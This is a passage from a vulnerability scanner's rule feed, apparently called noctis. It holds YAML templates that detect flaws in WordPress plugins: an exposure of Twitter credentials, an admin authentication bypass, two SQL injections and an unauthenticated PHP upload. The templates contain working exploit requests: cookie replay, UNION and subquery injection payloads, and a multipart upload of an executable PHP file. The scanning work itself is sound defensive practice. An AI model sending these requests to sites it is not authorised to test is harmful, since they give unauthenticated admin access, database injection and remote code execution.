#     /wordpress, /blog and /wp (the NASL uses the dir found by WordPress
#     detection; noctis has no app-location knowledge base).
#
# Read-only: one GET of the home page per directory.
uid: 49747630-7a29-4411-9a1f-afe79321951c
name: "WordPress Social Network Tabs Plugin Twitter API Credentials Disclosure (CVE-2018-20555)"
description: |
  The Social Network Tabs plugin 1.7.1 for WordPress (Design Chemical) writes
  the site owner's Twitter API credentials (consumer key and secret, access
  token and secret) into the JavaScript configuration of every page that shows
  its widget, which lets any visitor take over the linked Twitter account.
  This check requests the WordPress home page (web root, /wordpress, /blog,
  /wp) and reports when the page loads the plugin's inc/dcwp_twitter.php
  widget and the widget configuration that follows that URL carries at least
  one non-empty consumer_key, consumer_secret, access_token or
  access_token_secret value. The disclosed values are not copied into the
  finding: only the names of the exposed fields and their lengths are
  reported.
cves: [CVE-2018-20555]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: exposure
tags: [wordpress, social-network-tabs, design-chemical, twitter, credentials, information-disclosure, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2018-20555"
  - "https://github.com/fs0c131y/CVE-2018-20555"
  - "https://wpvulndb.com/vulnerabilities/9204"
  - "OpenVAS/Greenbone NVT 2019/wordpress/gb_wordpress_social_network_tabs_info_discl_vuln.nasl (GPL-2.0-only)"

steps:
  # ── Per install dir (loop group): pre-initialise the stored result so a
  # failed request cannot leave it undefined (that would abort the script).
  - id: init-home
    action: set_var
    var_name: home
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wordpress", "/blog", "/wp"]
      var: wp_dir

  - id: fetch-home
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/"
    tls_insecure: true
    timeout_secs: 10
    store_as: home

  # Marker gate + non-empty credential values. Returns only key names and
  # value lengths; the values themselves stay out of every stored result.
  - id: inspect
    action: script
    code: |
      let count = 0;
      let fields = "";
      if home.status == 200 && type_of(home.body) == "string"
         && ereg("social-network-tabs\\\\?/inc\\\\?/dcwp_twitter\\.php", home.body) {
        // Only look at the widget config: the 4 KiB that follow the
        // dcwp_twitter.php URL (the plugin prints the keys right after it),
        // so another script's access_token elsewhere on the page is ignored.
        let at = stridx(home.body, "dcwp_twitter.php");
        let cfg = substr(home.body, at, at + 4095);
        for k in ["consumer_key", "consumer_secret", "access_token", "access_token_secret"] {
          let m = eregmatch("(?:^|[^A-Za-z0-9_])[\"']?" + k + "[\"']?\\s*:\\s*[\"']([^\"'\\s]+)[\"']", cfg);
          if m.len() >= 2 {
            if count > 0 { fields += ", "; }
            fields += k + " (" + strlen(m[1]) + " chars)";
            count += 1;
          }
        }
      }
      #{ hit: if count > 0 { "twitter-credentials-disclosed" } else { "" }, count: count, fields: fields }
    store_as: snt

  - id: report
    action: match
    source: snt.hit
    pattern: "^twitter-credentials-disclosed$"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "The page {{wp_dir}}/ loads the Social Network Tabs widget (social-network-tabs/inc/dcwp_twitter.php) and its inline config discloses {{snt.count}} Twitter API credential field(s): {{snt.fields}} (values withheld) (CVE-2018-20555)"
      stop: true

WordPress UserPro Plugin < 4.9.17.1 Authentication Bypass

CVECVE-2017-16562
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectionset_var, tcp_connect, script, http_request, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2017-16562.yaml

The UserPro plugin for WordPress (through 4.9.17) logs any visitor in as the `admin` account when the request carries `?up_auto_log=true`: the plugin calls wp_set_auth_cookie() for the user named `admin` without checking anything, so an unauthenticated attacker gets a full administrator session.

The feed proves the bypass end to end, read-only, at the web root plus /wordpress and /blog: 1. GET <dir>/?up_auto_log=true without any cookie (raw HTTP/1.0, so every Set-Cookie header is kept) and collect the wordpress_* cookies issued. 2. Replay them on <dir>/wp-admin/profile.php: only a real admin session gets the profile form showing user_login "admin" (QoD 75). A server that issues the `wordpress_logged_in...admin` cookie but whose session does not open wp-admin still gets a cookie-only finding (QoD 70). 3. Log the session out with the nonce taken from the admin bar, so the session token the bypass created is destroyed (the evidence says whether it was). Only read-only pages are requested. The bypass itself makes WordPress store a session token for 'admin'; it is removed by the logout on the confirmed path, but stays until expiry on the cookie-only path (no admin page, so no logout nonce).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET {{base}}/?up_auto_log=true HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/wp-admin/profile.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{base}}/wp-login.php?action=logout&_wpnonce={{proof.nonce}}
  6. Parses / computes the next value with a Rhai script
  7. Checks proof.summary for user_login=admin → finding QoD 75: GET …/?up_auto_log=true without credentials issued WordPress auth cookies (…) for 'admin'; replaying them on …/wp-admin/profile.php returne…
  8. Checks auth.names for wordpress_logged_in_ → finding QoD 70: GET …/?up_auto_log=true without credentials issued a wordpress_logged_in cookie for 'admin' (…); wp-admin access not confirmed (HTTP …).

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2017-16562.yaml
uid: 3f7e6f89-0d66-404d-9569-6e61dbe9046d
name: "WordPress UserPro Plugin < 4.9.17.1 Authentication Bypass (CVE-2017-16562)"
description: |
  The UserPro plugin for WordPress (through 4.9.17) logs any visitor in as the
  `admin` account when the request carries `?up_auto_log=true`: the plugin calls
  wp_set_auth_cookie() for the user named `admin` without checking anything, so an
  unauthenticated attacker gets a full administrator session.

  The feed proves the bypass end to end, read-only, at the web root plus /wordpress
  and /blog:
    1. GET <dir>/?up_auto_log=true without any cookie (raw HTTP/1.0, so every
       Set-Cookie header is kept) and collect the wordpress_* cookies issued.
    2. Replay them on <dir>/wp-admin/profile.php: only a real admin session gets the
       profile form showing user_login "admin" (QoD 75). A server that issues the
       `wordpress_logged_in...admin` cookie but whose session does not open wp-admin
       still gets a cookie-only finding (QoD 70).
    3. Log the session out with the nonce taken from the admin bar, so the session
       token the bypass created is destroyed (the evidence says whether it was).
  Only read-only pages are requested. The bypass itself makes WordPress store a
  session token for 'admin'; it is removed by the logout on the confirmed path, but
  stays until expiry on the cookie-only path (no admin page, so no logout nonce).
cves: [CVE-2017-16562]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: auth-bypass
tags: [wordpress, userpro, auth-bypass, plugin]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-16562"
  - "https://www.exploit-db.com/exploits/43117"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-16562.yaml"

steps:
  # One iteration per candidate WordPress base path. Pre-initialise every result a
  # later script or condition reads, so a failed request in one iteration never
  # leaves an undefined variable (which would abort the whole test).
  - id: init
    action: set_var
    var_name: login
    var_value: {connected: false, banner: null}
    loop:
      var: base
      over: ["", "/wordpress", "/blog"]

  - id: init_auth
    action: set_var
    var_name: auth
    var_value: {admin: false, cookie: "", names: ""}

  - id: init_profile
    action: set_var
    var_name: profile
    var_value: {status: 0, body: ""}

  - id: init_bye
    action: set_var
    var_name: bye
    var_value: {status: 0}

  - id: init_cleanup
    action: set_var
    var_name: cleanup
    var_value: ""

  - id: init_proof
    action: set_var
    var_name: proof
    var_value: {ok: false, nonce: "", summary: ""}

  # Trigger the bypass. Raw HTTP/1.0 so every Set-Cookie line is kept (WordPress sends
  # the auth cookie twice, for /wp-admin and /wp-content/plugins, plus logged_in).
  - id: trigger
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{base}}/?up_auto_log=true HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nAccept: */*\r\n\r\n"
    store_as: login

  # Collect the wordpress_* cookies the server just issued to an anonymous client.
  - id: cookies
    action: script
    store_as: auth
    code: |
      let raw = if type_of(login.banner) == "string" { login.banner } else { "" };
      let head_end = stridx(raw, "\r\n\r\n");
      let head = if head_end >= 0 { substr(raw, 0, head_end) } else { raw };
      let lines = split(egrep("^set-cookie:[ \t]*wordpress_", head, true), "\n");
      let jar = [];
      let names = [];
      for l in lines {
        let m = eregmatch("^set-cookie:[ \t]*(wordpress_[A-Za-z0-9_]+)=([^;\r\n]*)", l, true);
        if m.len() == 3 && m[2] != "" && tolower(m[2]) != "deleted" {
          let pair = m[1] + "=" + m[2];
          if !jar.contains(pair) { jar.push(pair); }
          if !names.contains(m[1]) { names.push(m[1]); }
        }
      }
      let cookie = "";
      for p in jar { cookie += if cookie == "" { p } else { "; " + p }; }
      let names_s = "";
      for n in names { names_s += if names_s == "" { n } else { ", " + n }; }
      #{
        admin: ereg("wordpress_logged_in_[0-9a-f]*=admin(%7C|\\|)", cookie, true),
        cookie: cookie,
        names: names_s,
      }

  # Replay the session on a read-only admin page.
  - id: profile
    action: http_request
    method: GET
    path: "{{base}}/wp-admin/profile.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "auth.admin == true"
    headers:
      Cookie: "{{auth.cookie}}"
    store_as: profile

  - id: check
    action: script
    store_as: proof
    condition: "auth.admin == true"
    code: |
      let body = if type_of(profile.body) == "string" { profile.body } else { "" };
      let ok = profile.status == 200
        && ereg("name=\"user_login\"[^>]*value=\"admin\"", body, true)
        && (stridx(body, "id=\"your-profile\"") >= 0 || stridx(body, "id=\"wpadminbar\"") >= 0);
      let n = eregmatch("action=logout(&|&amp;|&#0?38;)_wpnonce=([0-9a-f]{10})", body, true);
      #{
        ok: ok,
        nonce: if n.len() == 3 { n[2] } else { "" },
        summary: if ok { "wp-admin/profile.php opened as user_login=admin" } else { "" },
      }

  # Clean up: end the session we opened (destroys its server-side session token).
  # WordPress escapes the admin-bar link's '&' as '&#038;' (esc_url), older themes as '&amp;'.
  - id: logout
    action: http_request
    method: GET
    path: "{{base}}/wp-login.php?action=logout&_wpnonce={{proof.nonce}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "proof.ok == true && proof.nonce != \"\""
    headers:
      Cookie: "{{auth.cookie}}"
    store_as: bye

  # WordPress answers a valid logout with a 302 to wp-login.php?loggedout=true.
  - id: cleanup
    action: script
    store_as: cleanup
    condition: "proof.ok == true"
    code: |
      if proof.nonce == "" { "no logout nonce found, session left to expire" }
      else if bye.status == 302 { "session logged out afterwards" }
      else { "logout attempted (HTTP " + bye.status + "), session may be left to expire" }

  # Confirmed: an anonymous request became an administrator session.
  - id: confirmed
    action: match
    source: proof.summary
    pattern: "user_login=admin"
    condition: "proof.ok == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{base}}/?up_auto_log=true without credentials issued WordPress auth cookies ({{auth.names}}) for 'admin'; replaying them on {{base}}/wp-admin/profile.php returned the admin profile form (HTTP {{profile.status}}); {{cleanup}}."

  # NASL-equivalent: the logged_in cookie for 'admin' was issued, but wp-admin could
  # not be confirmed (for example a WAF or IP allow-list in front of /wp-admin).
  - id: cookie_only
    action: match
    source: auth.names
    pattern: "wordpress_logged_in_"
    condition: "auth.admin == true && proof.ok == false"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.40
        qod: 70
        evidence: "GET {{base}}/?up_auto_log=true without credentials issued a wordpress_logged_in cookie for 'admin' ({{auth.names}}); wp-admin access not confirmed (HTTP {{profile.status}})."

WordPress WP Google Maps Plugin < 7.11.18 Unauthenticated SQL Injection

CVECVE-2019-10692
Severitycritical · CVSS 9.8
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/wordpress/CVE-2019-10692.yaml

The WP Google Maps plugin for WordPress before 7.11.18 does not sanitise the `fields` parameter of its REST API markers route (includes/class.rest-api.php) before using it in a SELECT statement, allowing unauthenticated SQL injection. This check injects a benign arithmetic expression with random operands as a column alias and reports only when the database-computed product is returned under that alias. QoD 75.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wp_dir}}/index.php?rest_route=/wpgmza/v1/markers&filter=%7B%7D&fields={{gm.a}}%2A{{…
  3. HTTP(S) request GET {{wp_dir}}/index.php?rest_route=/wpgmza/v1/markers/&filter=%7B%22%22%3Atrue%7D&fields…
  4. Parses / computes the next value with a Rhai script
  5. Checks gmv.hit for ^(subquery|column)$ → finding QoD 75: WP Google Maps REST API (…/index.php?rest_route=/wpgmza/v1/markers) evaluated the injected column `…*… as …` and returned … (… probe): unau…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2019-10692.yaml
# CVE-2019-10692 — WordPress WP Google Maps plugin < 7.11.18, unauthenticated SQL
# injection in the REST API (includes/class.rest-api.php): the `fields` query
# parameter of the /wpgmza/v1/markers route is concatenated into the SELECT
# column list without sanitisation.
#
# Detection ported from OpenVAS/Greenbone NVT
# 2019/wordpress/gb_wordpress_wp-google-maps_sql_inj_vuln.nasl (GPL-2.0-only),
# which injects `fields=user() as <marker>` and reports when the alias is
# reflected in a 200 response. Two improvements over the NASL:
#
#   * Proof of execution, not reflection. The injected column is a benign SQL
#     arithmetic expression with random per-run operands (`<A>*<B> as
#     noctis_<hex>`); the feed recomputes the product and only reports when the
#     JSON value under the alias equals it. The product never appears in the
#     request, so a page that merely echoes the URL cannot match. Nothing is
#     read from the database and nothing is written.
#   * No dependence on existing map markers. The NASL's column list is
#     evaluated once per row of the markers table, so a site with no markers
#     answers `[]` and the NASL misses it. The first probe closes the SELECT on
#     a one-row derived table (`... from (select 1)x-- -`, the comment-out
#     technique of the Metasploit module), so the expression is returned even
#     when the markers table is empty. The NASL-style probe (column list only,
#     filter {"":true}) is kept as a second attempt for back-ends where the
#     derived table is refused.
#
# Both probes go through `index.php?rest_route=` (works with or without pretty
# permalinks), under the web root and the common install dirs /wordpress,
# /blog and /wp (the NASL uses the dir found by WordPress detection; noctis
# has no app-location knowledge base, so it tries the usual ones).
uid: 19ec34e7-8e22-4f32-b9ad-2eea038ac756
name: "WordPress WP Google Maps Plugin < 7.11.18 Unauthenticated SQL Injection (CVE-2019-10692)"
description: |
  The WP Google Maps plugin for WordPress before 7.11.18 does not sanitise the
  `fields` parameter of its REST API markers route (includes/class.rest-api.php)
  before using it in a SELECT statement, allowing unauthenticated SQL injection.
  This check injects a benign arithmetic expression with random operands as a
  column alias and reports only when the database-computed product is returned
  under that alias. QoD 75.
cves: [CVE-2019-10692]
cvss: 9.8
severity: critical
confidence_base: 0.25
category: sqli
tags: [wordpress, wp-google-maps, wpgmza, sqli, sql-injection, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2019-10692"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-10692.yaml"
  - "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/wp_google_maps_sqli.rb"
  - "OpenVAS/Greenbone NVT 2019/wordpress/gb_wordpress_wp-google-maps_sql_inj_vuln.nasl (GPL-2.0-only)"

steps:
  # ── Random operands and alias, recomputed below ──────────────────────────
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(1013, 9973);
      let b = rand_int(1013, 9973);
      #{ a: a, b: b, product: a * b, alias: "noctis_" + rand_hex(4) }
    store_as: gm

  # ── Per install dir (loop group): pre-initialise the stored results so a
  # failed request cannot leave them undefined (that would abort the script).
  - id: init-sub-resp
    action: set_var
    var_name: sub_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wordpress", "/blog", "/wp"]
      var: wp_dir

  - id: init-col-resp
    action: set_var
    var_name: col_resp
    var_value: {status: 0, body: null}

  # Probe 1: arithmetic column on a one-row derived table, rest of the query
  # commented out — independent of how many markers the site has.
  #   fields=<A>*<B> as noctis_<hex> from (select 1)x-- -
  - id: sqli-subquery
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/index.php?rest_route=/wpgmza/v1/markers&filter=%7B%7D&fields={{gm.a}}%2A{{gm.b}}%20as%20{{gm.alias}}%20from%20%28select%201%29x--%20-"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: sub_resp

  # Probe 2: the NASL's request shape (column list only), with the arithmetic
  # expression in place of user().
  #   filter={"":true}&fields=<A>*<B> as noctis_<hex>
  - id: sqli-column
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{wp_dir}}/index.php?rest_route=/wpgmza/v1/markers/&filter=%7B%22%22%3Atrue%7D&fields={{gm.a}}%2A{{gm.b}}%20as%20{{gm.alias}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: col_resp

  # ── Verify: the value under OUR alias must equal OUR product ─────────────
  - id: verify
    action: script
    code: |
      let re = "\"" + gm.alias + "\"\\s*:\\s*\"?(-?[0-9]+)";
      let hit = "";
      if sub_resp.status == 200 && type_of(sub_resp.body) == "string" {
        let m = eregmatch(re, sub_resp.body);
        if m.len() >= 2 && int(m[1]) == gm.product { hit = "subquery"; }
      }
      if hit == "" && col_resp.status == 200 && type_of(col_resp.body) == "string" {
        let m = eregmatch(re, col_resp.body);
        if m.len() >= 2 && int(m[1]) == gm.product { hit = "column"; }
      }
      #{ hit: hit }
    store_as: gmv

  - id: report
    action: match
    source: gmv.hit
    pattern: "^(subquery|column)$"
    on_match:
      finding:
        confidence_delta: 0.60
        qod: 75
        evidence: "WP Google Maps REST API ({{wp_dir}}/index.php?rest_route=/wpgmza/v1/markers) evaluated the injected column `{{gm.a}}*{{gm.b}} as {{gm.alias}}` and returned {{gm.product}} ({{gmv.hit}} probe): unauthenticated SQL injection in `fields` (CVE-2019-10692)"
      stop: true

WordPress wpStoreCart 2.5.27-2.5.29 upload.php unauthenticated arbitrary file upload

CVECVE-2012-3576
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2012-3576.yaml

Tests the wpStoreCart plugin for WordPress (2.5.27 to 2.5.29) for the unauthenticated arbitrary file upload in php/upload.php, CVE-2012-3576. When the script answers without authentication, the test uploads a one-line PHP file that prints a per-run arithmetic marker and deletes itself, then requests it from wp-content/uploads/wpstorecart/. The computed marker in the reply confirms that the uploaded file ran as PHP code. If only the unauthenticated upload script is confirmed (for example because PHP does not run in the uploads directory), a lower-confidence finding is reported instead. The web root, /wordpress and /blog are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/wp-content/plugins/wpstorecart/php/upload.php
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request POST {{base}}/wp-content/plugins/wpstorecart/php/upload.php with a crafted body
  6. HTTP(S) request GET {{base}}/wp-content/uploads/wpstorecart/noctis{{m.tok}}.php
  7. Parses / computes the next value with a Rhai script
  8. Checks run.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated upload + PHP execution confirmed: POST …/wp-content/plugins/wpstorecart/php/upload.php stored noctis….php, and GET …/wp-con…
  9. Checks stub.body for No upload found in \$_FILES for Filedata → finding QoD 75: GET …/wp-content/plugins/wpstorecart/php/upload.php answered 200 with the unauthenticated upload stub (no "death 1" capability check), but …

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2012-3576.yaml
# WordPress wpStoreCart plugin 2.5.27 – 2.5.29 — unauthenticated arbitrary file upload
# (CVE-2012-3576)
#
# php/upload.php moves $_FILES['Filedata'] into wp-content/uploads/wpstorecart/ with
# its original name and no authentication, extension or content check, so any PHP
# script uploaded there runs on a direct request. 2.5.30 adds a capability check that
# dies with "death 1" before touching the upload.
#
# Detection:
#   1. GET php/upload.php (the NASL probe): the vulnerable script answers 200 with its
#      `alert("No upload found in $_FILES for Filedata")` stub and no "death 1".
#      Only such a host goes on to step 2 — nothing is uploaded elsewhere.
#   2. Real, benign exploitation (QoD 97): POST a one-line PHP file named
#      noctis<tok>.php as Filedata, whose code prints NOCTIS<a+b> (the sum is only
#      computed server-side — the uploaded source holds "a+b", never the result) and
#      then unlink()s itself, then GET it from uploads/wpstorecart/. The sum in the
#      reply proves the upload ran as PHP, and the file is gone afterwards.
#   3. Fallback (QoD 75): the unauthenticated stub from step 1 is all that answered
#      (e.g. PHP execution disabled in uploads/ — then the inert file stays behind).
#
# Better than the NASL (gb_wordpress_wpstorecart_file_upload_vuln.nasl):
#   - proves the upload and code execution instead of only the stub page;
#   - no dependency on a prior WordPress detection: tries /, /wordpress and /blog.
#
# CVSS: NVD has only a v2 score for this CVE (10.0, AV:N/AC:L/Au:N/C:C/I:C/A:C).
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_wordpress_wpstorecart_file_upload_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.802915, GPL-2.0-only). PoC: exploit-db 19023.
uid: 07a273a2-d4fc-459c-956a-f15a4cb2e64d
name: "WordPress wpStoreCart 2.5.27-2.5.29 upload.php unauthenticated arbitrary file upload (CVE-2012-3576)"
description: |
  Tests the wpStoreCart plugin for WordPress (2.5.27 to 2.5.29) for the
  unauthenticated arbitrary file upload in php/upload.php, CVE-2012-3576. When the
  script answers without authentication, the test uploads a one-line PHP file that
  prints a per-run arithmetic marker and deletes itself, then requests it from
  wp-content/uploads/wpstorecart/. The computed marker in the reply confirms that
  the uploaded file ran as PHP code. If only the unauthenticated upload script is
  confirmed (for example because PHP does not run in the uploads directory), a
  lower-confidence finding is reported instead. The web root, /wordpress and /blog
  are tried.
cves: [CVE-2012-3576]
cvss: 10.0
severity: critical
confidence_base: 0.30
category: rce
tags: [wordpress, wordpress-plugin, wpstorecart, file-upload, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2012-3576"
  - "https://www.exploit-db.com/exploits/19023"
  - "OpenVAS/Greenbone NASL 2012/gb_wordpress_wpstorecart_file_upload_vuln.nasl (GPL-2.0-only)"

steps:
  # Per-run file name token and arithmetic operands.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(8), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-sum
    action: script
    code: 'm.a + m.b'
    store_as: sum

  # ── Loop group: every step below runs once per candidate WordPress base ──
  # Pre-initialise every stored result the scripts read (an undefined variable
  # would abort the whole test).
  - id: init-stub
    action: set_var
    var_name: stub
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/wordpress", "/blog"]
      var: base

  - id: init-run
    action: set_var
    var_name: run
    var_value: {status: 0, body: null}

  # NASL probe: the vulnerable script answers an empty GET with its "no upload" stub;
  # the fixed one dies with "death 1".
  - id: stub-probe
    action: http_request
    method: GET
    path: "{{base}}/wp-content/plugins/wpstorecart/php/upload.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: stub

  - id: stub-verify
    action: script
    code: |
      let b = stub.body;
      if type_of(b) != "string" { false }
      else {
        stub.status == 200
          && stridx(b, ">alert(\"No upload found in $_FILES for Filedata") >= 0
          && stridx(b, "death 1") < 0
      }
    store_as: stub_hit

  # Benign exploitation: a self-deleting PHP file that prints NOCTIS<a+b>.
  - id: upload
    action: http_request
    method: POST
    path: "{{base}}/wp-content/plugins/wpstorecart/php/upload.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "stub_hit == true"
    headers:
      Content-Type: "multipart/form-data; boundary=----noctisCVE20123576"
    body: "------noctisCVE20123576\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"noctis{{m.tok}}.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo 'NOCTIS'.({{m.a}}+{{m.b}}).'END'; @unlink(__FILE__); ?>\r\n------noctisCVE20123576--\r\n"
    store_as: up

  - id: run-upload
    action: http_request
    method: GET
    path: "{{base}}/wp-content/uploads/wpstorecart/noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "stub_hit == true"
    store_as: run

  # Executed only when the computed sum comes back (the source holds "a+b", not it).
  - id: run-verify
    action: script
    code: |
      let b = run.body;
      if type_of(b) != "string" { false }
      else { run.status == 200 && stridx(b, "NOCTIS" + sum + "END") >= 0 }
    store_as: rce_hit

  - id: rce-match
    action: match
    source: run.body
    pattern: "NOCTIS[0-9]+END"
    condition: "rce_hit == true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Unauthenticated upload + PHP execution confirmed: POST {{base}}/wp-content/plugins/wpstorecart/php/upload.php stored noctis{{m.tok}}.php, and GET {{base}}/wp-content/uploads/wpstorecart/noctis{{m.tok}}.php returned NOCTIS{{sum}}END ({{m.a}}+{{m.b}} computed by the server; the file deleted itself)"

  # Fallback: only the unauthenticated upload script is confirmed.
  - id: stub-match
    action: match
    source: stub.body
    pattern: "No upload found in \\$_FILES for Filedata"
    condition: "stub_hit == true && rce_hit != true"
    on_match:
      stop: true
      finding:
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{base}}/wp-content/plugins/wpstorecart/php/upload.php answered 200 with the unauthenticated upload stub (no \"death 1\" capability check), but the uploaded PHP probe did not run (GET of uploads/wpstorecart/noctis{{m.tok}}.php: status {{run.status}})"

WordPress AdRotate clicktracker.php track SQL Injection

CVECVE-2014-1854
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/wordpress/CVE-2014-1854.yaml

The AdRotate plugin for WordPress (Free 3.9 to 3.9.4, Pro 3.9 to 3.9.5) decodes the base64 `track` parameter of its unauthenticated click tracker (wp-content/plugins/adrotate/library/clicktracker.php) and places the advert ID it carries unquoted into an SQL query whose result becomes the redirect target, allowing unauthenticated SQL injection.

This check sends a track value whose advert ID is a UNION SELECT of the product of two random numbers, and confirms the server answers with a redirect whose Location is exactly that product, computed by the database. The request uses a crawler User-Agent, which the plugin's default crawler list matches, so the click is not logged and nothing is written; no data is read from the database. The site root and the usual WordPress sub-directories are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{wp_dir}}/wp-content/plugins/adrotate/library/clicktracker.php?track={{sc.track}}
  3. Parses / computes the next value with a Rhai script
  4. Checks un.found for ^Location: [0-9]+$ → finding QoD 97: UNION-based SQLi confirmed: …/wp-content/plugins/adrotate/library/clicktracker.php?track=base64("…") answered HTTP … redirecting to the dat…

References:

Feed source — tests/vulnerabilities/wordpress/CVE-2014-1854.yaml
# WordPress AdRotate 3.9 – 3.9.4 (Free) / 3.9 – 3.9.5 (Pro) — clicktracker.php 'track' SQL injection (CVE-2014-1854)
#
# library/clicktracker.php (unauthenticated, added in 3.9.2) base64-decodes the
# `track` GET parameter, splits it on "," into ad, group, block, remote, and when
# remote == 1 runs, unquoted:
#     SELECT `link` FROM `<prefix>adrotate` WHERE `id` = $ad;
# then wp_redirect()s to the returned value (HTTP 302). AdRotate Free 3.9.5
# wraps the whole block in is_numeric($ad/$group/$block/$remote).
# (source read from the wp-plugins/adrotate mirror, tags 3.9.4 and 3.9.5)
#
# Source NASL (2014/gb_wordpress_adrotate_track_pram_sqli_vul.nasl) sends
# track=base64("-1 UNION SELECT version(),1,1,1") and reports on any 302 whose
# Location contains a digit or dot — any redirect to a URL with a digit in it
# (a login page, a CDN, a versioned path) is reported.
# This feed is stronger:
#   - the UNION selects the product of two random 5-digit numbers (no comma
#     allowed in the injected part: the plugin splits the track value on ","),
#     and the Location header must be exactly that database-computed product
#     (QoD 97) — the product never appears in the request (it is base64 too);
#   - it sends a User-Agent containing "bot", which the plugin's default
#     crawler list matches, so the click is not logged: no row is written to
#     the adrotate_stats / adrotate_tracker tables;
#   - beyond the site root it walks the usual WordPress sub-directories.
#
# Read-only with the plugin's default crawler list (an admin-edited list without
# "bot" would log one click row); no data is extracted.
#
# Source: OpenVAS/Greenbone NASL 2014/gb_wordpress_adrotate_track_pram_sqli_vul.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.804511, GPL-2.0-only)
uid: 6687093e-a603-40a9-864a-f0139f0f5b23
name: "WordPress AdRotate clicktracker.php track SQL Injection (CVE-2014-1854)"
description: |
  The AdRotate plugin for WordPress (Free 3.9 to 3.9.4, Pro 3.9 to 3.9.5)
  decodes the base64 `track` parameter of its unauthenticated click tracker
  (wp-content/plugins/adrotate/library/clicktracker.php) and places the advert
  ID it carries unquoted into an SQL query whose result becomes the redirect
  target, allowing unauthenticated SQL injection.

  This check sends a track value whose advert ID is a UNION SELECT of the
  product of two random numbers, and confirms the server answers with a
  redirect whose Location is exactly that product, computed by the database.
  The request uses a crawler User-Agent, which the plugin's default crawler
  list matches, so the click is not logged and nothing is written; no data is
  read from the database. The site root and the usual WordPress
  sub-directories are tried.
cves: [CVE-2014-1854]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [wordpress, plugin, adrotate, sqli, union-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-1854"
  - "https://wordpress.org/plugins/adrotate/"

steps:
  # ── Random operands and the base64 track values ───────────────────────────
  # "+", "/" and "=" are percent-encoded so PHP does not turn "+" into a space.
  - id: gen-operands
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      let raw = "-1 UNION SELECT " + a + "*" + b + ",1,1,1";
      let t = base64_encode(raw);
      t.replace("+", "%2B");
      t.replace("/", "%2F");
      t.replace("=", "%3D");
      #{ a: a, b: b, prod: "" + (a * b), raw: raw, track: t }
    store_as: sc

  # ── Per candidate WordPress base path (loop group) ────────────────────────
  # Pre-initialise the stored result: a failed request leaves store_as unset
  # and an undefined var would abort the whole test.
